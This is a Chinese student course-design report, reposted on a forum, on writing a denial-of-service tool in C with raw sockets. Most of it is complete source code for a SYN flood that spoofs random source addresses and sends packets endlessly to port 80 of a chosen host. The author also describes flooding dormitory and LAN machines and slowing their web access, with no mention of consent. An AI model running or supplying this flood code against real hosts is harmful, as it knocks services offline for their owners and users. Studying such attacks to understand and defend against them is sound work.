- 論壇徽章:
- 0
|
C語言原始套接字編程實現(xiàn)DoS
(一)課程設計目的
計算機網絡是信息技術領域最基礎的課程。網絡安全從本質上來講就是網絡上的信息安全。它涉及的領域相當廣泛。這是因為在目前的公用通信網絡中存在著各種各樣的安全漏洞和威脅。從廣義來講,凡是涉及到網絡上信息的保密性、完整性、可用性、真實性和可控性的相關技術和理論,都是網絡安全所要研究的領域。本次課程設計一個DoS(Denial of Service的簡稱,即拒絕服務,造成DoS的攻擊行為被稱為DoS攻擊,其目的是使計算機或網絡無法提供正常的服務),當然設計這種攻擊并不是特意去攻擊電腦,而是通過設計這種攻擊去學習怎樣來進行DoS攻擊,同時并了解IP數(shù)據(jù)包的格式,了解怎樣來設置數(shù)據(jù)包。對TCP/IP能更深一步的了解。
(二)課程設計題目(問題)描述和要求
用C語言原始套接字編寫一個簡單的DoS程序能對指定的計算機或者網絡和端口進行拒絕服務攻擊,使得對計算機或者網絡的相應服務造成一定的影響。
(三)課程設計環(huán)境
操作系統(tǒng)RedHat Linux 9.0(Kernel 2.4.20-8),編輯器vi,編譯器gcc。
(四)系統(tǒng)分析與設計
![]()
IP數(shù)據(jù)包格式如上圖
系統(tǒng)流程圖:
![]()
相應的頭文件
#include :定義一些關于套接字Socket的變量及一些結構體.
#include :定義協(xié)議,端口,地址及地址的每一位信息,還有一些IPV6的相關信息
#include :定義了網絡接口及IP地址信息的結構信息
#include :定義TCP中IP包中的頭部信息及一些狀態(tài)默認值
#include :為系統(tǒng)調用提供一些關于傳輸過程中的數(shù)據(jù)控制,傳輸數(shù)據(jù)的詳細信息
相應的結構體變量
struct sockaddr_in:表示套接字地址的信息
struct hostent:表示主機的信息
struct ip: 用來表示網絡接口的地址和配置
struct tcphdr: tcp協(xié)議中ip數(shù)據(jù)包頭部結構
相關的函數(shù)
void fprintf(FILE *stream,const char *format,...)將一些字符輸出到stream中
void bzero(void *s,size_t n)設置從s開始的前n個字節(jié)為0
int inet_aton(const char *cp,struct in_adr *inp)將IP地址cp轉換成標準的數(shù)字點格式且存儲到nip中
struct hostent *gethostbyname(const char *name)返回一個類型為hostent的結構體,其中包括主機名和帶點的IP地址
int socket(int domain,int type,int protocol)創(chuàng)建一個套接字連接且返回一個套接字描述符
int setsockopt(int s,int level,int optname,const void *optval,socklen_t optlen)設置套接字的各項參數(shù)
int setuid(uid_t uid):設置套接字的uid信息
uid_t getpid(void); 獲取套接字的uid信息
uint16_t htons(uint16_t hostshort):將無符號整數(shù)hostshort從主機字節(jié)順序轉換成網絡字節(jié)順序
long int random(void) :隨機產生一個31位的長整形并返回
ssize_t sendto(int s,const void *msg,size_t len,int flags,const struct sockaddr *to,socklen_t tolen):常用于將一個消息傳遞給另外一個套接字
整個結構比較清晰,其中將首部校驗和發(fā)送數(shù)據(jù)包這兩塊分別寫成函數(shù)放在外面,分別是void send_tcp(int sockfd,struct sockaddr_in *addr);unsigned short check_sum(unsigned short *addr,int len)。
/******* 發(fā)送炸彈的實現(xiàn) *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100]; /**** 用來放置我們的數(shù)據(jù)包并定義向關的變量 ****/
/******* 我們的數(shù)據(jù)包實際上沒有任何內容,所以長度就是兩個結構的長度 ***/
head_len=sizeof(struct ip)+sizeof(struct tcphdr);
bzero(buffer,100);
/******** 填充IP數(shù)據(jù)包的頭部,還記得IP的頭格式嗎? ******/
……..
/******* 開始填寫TCP數(shù)據(jù)包 *****/
while(1)
{/** 你不知道我是從那里來的,慢慢的去等吧! **/
ip->ip_src.s_addr=random();
/**自己來校驗頭部吧 */
tcp->check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
}
}
(五)源程序
/******************** DOS.c *****************/
#include
#include
#include
#include
#include
#include
#include
#include
#include b.h>
#define DESTPORT 80 /* 要攻擊的端口(WEB) */
#define LOCALPORT 8888
void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;
if(argc!=2)
{
fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}
/**** 使用IPPROTO_TCP創(chuàng)建一個TCP的原始套接字 ****/
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd
{
fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
exit(1);
}
/******** 設置IP數(shù)據(jù)包格式,告訴系統(tǒng)內核模塊IP數(shù)據(jù)包由我們自己來填寫 ***/
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
/**** 沒有辦法,只用超級護用戶才可以使用原始套接字 *********/
setuid(getpid());
/********* 發(fā)送炸彈了!!!! ****/
send_tcp(sockfd,&addr);
}
/******* 發(fā)送炸彈的實現(xiàn) *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100]; /**** 用來放置我們的數(shù)據(jù)包 ****/
struct ip *ip;
struct tcphdr *tcp;
int head_len;
/******* 我們的數(shù)據(jù)包實際上沒有任何內容,所以長度就是兩個結構的長度 ***/
head_len=sizeof(struct ip)+sizeof(struct tcphdr);
bzero(buffer,100);
/******** 填充IP數(shù)據(jù)包的頭部,還記得IP的頭格式嗎? ******/
ip=(struct ip *)buffer;
ip->ip_v=IPVERSION; /** 版本一般的是 4 **/
ip->ip_hl=sizeof(struct ip)>>2; /** IP數(shù)據(jù)包的頭部長度 **/
ip->ip_tos=0; /** 服務類型 **/
ip->ip_len=htons(head_len); /** IP數(shù)據(jù)包的長度 **/
ip->ip_id=0; /** 讓系統(tǒng)去填寫吧 **/
ip->ip_off=0; /** 和上面一樣,省點時間 **/
ip->ip_ttl=MAXTTL; /** 最長的時間 255 **/
ip->ip_p=IPPROTO_TCP; /** 我們要發(fā)的是 TCP包 **/
ip->ip_sum=0; /** 校驗和讓系統(tǒng)去做 **/
ip->ip_dst=addr->sin_addr; /** 我們攻擊的對象 **/
/******* 開始填寫TCP數(shù)據(jù)包 *****/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(LOCALPORT);
tcp->dest=addr->sin_port; /** 目的端口 **/
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1; /** 我要建立連接 **/
tcp->check=0;
/** 好了,一切都準備好了.服務器,你準備好了沒有?? ^_^ **/
while(1)
{
/** 你不知道我是從那里來的,慢慢的去等吧! **/
ip->ip_src.s_addr=random();
/** 什么都讓系統(tǒng)做了,也沒有多大的意思,還是讓我們自己來校驗頭部吧 */
/** 下面這條可有可無 */
tcp->check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
}
}
/* 下面是首部校驗和的算法,偷了別人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;
while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}
(六)系統(tǒng)運行結果和系統(tǒng)調試出現(xiàn)的問題及解決辦法
進入終端,用vi將源程序dos.c編輯好,然后分別用gcc 對源程序進行編譯及運行。由于程序比較簡單,用的是靜態(tài)測試,沒有用到gdb調試器。分別如下圖:
圖一:用gcc對源文件進行編譯生產可執(zhí)行文件dos
圖二:用生產的可執(zhí)行文件進行運行:若單獨運行dos不加參數(shù),會顯示錯誤并提示后面必須添加一個參數(shù)為hostname,即目的主機。隨后分別對局域網的兩臺主機進行拒絕服務攻擊。
圖三:IP地址為172.17.37.87的主機裝有天網防火墻,發(fā)現(xiàn)防火墻的日志中一直有多條記錄在閃爍,而且是源源不斷的出現(xiàn),每次出現(xiàn)發(fā)送數(shù)據(jù)包的源地址都不是一樣的,正符合程序中隨機產生源IP地址。
圖四:由于主機的80端口被攻擊,消耗CPU資源,導致HTTP服務受影響。當再次上原來的網站時速度會變得比較慢。
![]()
![]()
![]()
![]()
(七)總結
本次實驗完全是因為本學期選了一門《信息安全概論》。老師在課堂上介紹了很多關于網絡攻擊與防守方面的知識點。基本上都是聽老師講,又加上這是選修課,所以要求不怎么高,而且時間也不是很多,自己基本上沒花多少時間去做一些什么東西。看到老師布置的計算機網絡課程設計題目,老師建議我們做第二個(建立一個小型的internet局域網)。其實關于組網方面的實驗我們平時都作過,而服務器方面的配置,除了DNS服務器外的服務器平常多多少少都配置過?戳说谒膫題目:可根據(jù)自己掌握的知識和自己感興趣的問題自己選擇題目。也可自己另外擬定其它題目,要求提供具體的功能說明,題目來源。其實我對網絡方面還是很感興趣的,這次選的是一個小程序,其中代碼是參考網上的。放在自己的Linux上調試,其中利用的系統(tǒng)的man提供的幫助,理解了很多關于IP數(shù)據(jù)包的格式,以及怎樣利用系統(tǒng)API進行填包,以及進行用Socket進行發(fā)送數(shù)據(jù)包。以前只是聽老師說這些如何如何,現(xiàn)在自己可以親自進行調試。還特地對宿舍的其他幾臺主機進行了攻擊,選擇的80端口(WEB服務),還發(fā)現(xiàn)真的對上網有很大的延遲。調試出來后感覺特別的開心,也算是一個小小的享受。總的說來,網絡真的是博大精深,里面涉及的內容真的很多,有待于我們去學習,去實踐,去發(fā)現(xiàn)。
(八)參考書目
1.《計算機網絡》馮博琴 陳文革 高等教育出版社 2005.11
2.《Linux系統(tǒng)應用與開發(fā)教程》劉海燕 機械工業(yè)出版社 2005.10
3.《計算機網絡實驗教程》雷震甲 西安電子科技大學出版社 2005.4
4.《Unix/Linux編程實踐教程》Bruce Molay著 楊宗源 黃海濤譯 清華大學出版社 2004.10
5.《信息安全技術及應用實驗》 蔡紅柳 何新華主編 科學出版社 2005.7
6.《黑客攻防實戰(zhàn)入門》鄧吉 編著 電子工業(yè)出版社 2004.6
本文來自ChinaUnix博客,如果查看原文請點:http://blog.chinaunix.net/u/20812/showart_207639.html |
|